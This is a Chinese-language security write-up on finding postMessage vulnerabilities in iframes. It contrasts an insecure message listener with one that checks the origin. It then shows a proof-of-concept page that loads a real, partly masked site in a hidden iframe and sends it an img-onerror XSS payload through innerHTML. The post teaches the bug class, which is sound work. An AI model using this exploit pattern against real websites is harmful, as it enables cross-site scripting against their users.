挖掘iframe通信安全漏洞


挖掘iframe通信安全漏洞

原理

跨域通信一般是直接ajax,用限定请求域名的方法来保证安全.但是也具有其中的局限性,只能读取服务器数据.而不能读取本地的localStorage数据等.

如果需要本地数据,依然需要iframe,现在iframe通信采用的是postmessage的形式

一个简单的例子就是

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
 window.addEventListener("message", (function(e) {
                console.log("[evt]", e.data),
                
 }
 
 window.parent.postMessage({
                            scrollHeight: t,
                            pageHight: t,
                            orange: e.warnSensitive,
                            red: e.dangerSensitive
 }, "*")
 

以上实际上是很不安全的例子,因为postmessage没有浏览器的跨域保护, 接收的数据可能来源于任何一个域名.

正确的写法应该是

1
2
3
4
5
6
7
 window.addEventListener("message", (function(e) {
   if (e.origin !== "http://example.com")
    return;
    }
   console.log("[evt]", e.data),
                e.data.cvid && (e.data.text || e.data.newHtml) &&      t.setContent(e.data)
 }

实战

image-20220612144739249

在浏览器f12就能直接看到iframe的载入. 当然iframe也可能是单纯用于展示,没有postmessage的通信.

不过可以在浏览器点击global listeners 然后看有没有message的事件监听者

image-20220612150032455

可以看到其中有两个,其中有一个是框架生成的,另一个才是程序员自己写的.框架那个做了验证,

蓝色的链接也能直接点到达代码位置

代码大致如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18

 window.addEventListener("message", (function(e) {
                var t = this;
                console.log("[evt]", e.data),
                e.data.cvid && (e.data.text || e.data.newHtml) && t.setContent(e.data)
  }
  
  setContent: function(t) {
                if (t.newHtml) {
                    var n = function() {
                        var t = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : ""
                          , e = arguments.length > 1 && void 0 !== arguments[1] ? arguments[1] : []
                          , n = arguments.length > 2 && void 0 !== arguments[2] ? arguments[2] : []
                          , i = h(t, e)
                          , o = h(i.content, n)
                          , a = document.createElement("div")
                        a.innerHTML = o.content,
// 省略

直接传入了innerhtml ,从代码的取值可以构造出以下exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
<iframe width="800" height="800" id="bilibili" style="display:none"></iframe>
<script>
const iframe = document.getElementById("bilibili")
iframe.setAttribute("src", "https://www.***.com/h5/note-app/review");
iframe.addEventListener("load", () => {
iframe.contentWindow.postMessage(
                    {
                        newHtml:"<img onerror='console.log(1)' src='x' >",
                        cvid:1,
                    },"*"
);
})
</script>

总结

原理和挖掘是不难的, 主要依赖于程序员忘记对iframe验证的错觉. 危害评估最高也就csrf和xss的级别,依赖于被攻击者进入你的网站.